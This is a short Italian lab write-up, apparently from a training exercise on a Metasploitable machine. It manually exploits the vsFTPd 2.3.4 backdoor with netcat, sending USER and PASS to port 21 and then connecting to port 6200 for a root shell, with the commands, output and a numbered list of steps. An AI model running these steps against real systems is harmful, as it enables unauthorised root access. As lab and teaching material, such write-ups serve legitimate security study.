

EXPLOIT MANUALE

```
(kali㉿kali)-[~]  
$ nc 192.168.50.101 21 Kali Docs  
220 (vsFTPd 2.3.4)  
USER username:  
331 Please specify the password.  
PASS password
```

```
(kali㉿kali)-[~]  
$ nc 192.168.50.101 6200  
id  
uid=0(root) gid=0(root)  
shell  
sh: line 2: shell: command not found  
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
test_metasploit  
tmp  
usr  
var  
vmlinuz  
uname -a  
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

Passaggi:

- 1) Connessione iniziale alla porta 21 : nc 192.168.50.101 21
- 2) Invio del comando USER , il server risponde chiedendo la password
- 3) Invio di una password qualsiasi

Se la vulnerabilità è presente il server aprirà una backdoor sulla porta 6200

- 1) Apro un nuovo terminale e mi connetto alla porta 6200 : nc 192.168.50.101 6200
- 2) Eseguo comandi per dimostrare che ho accesso a una shell.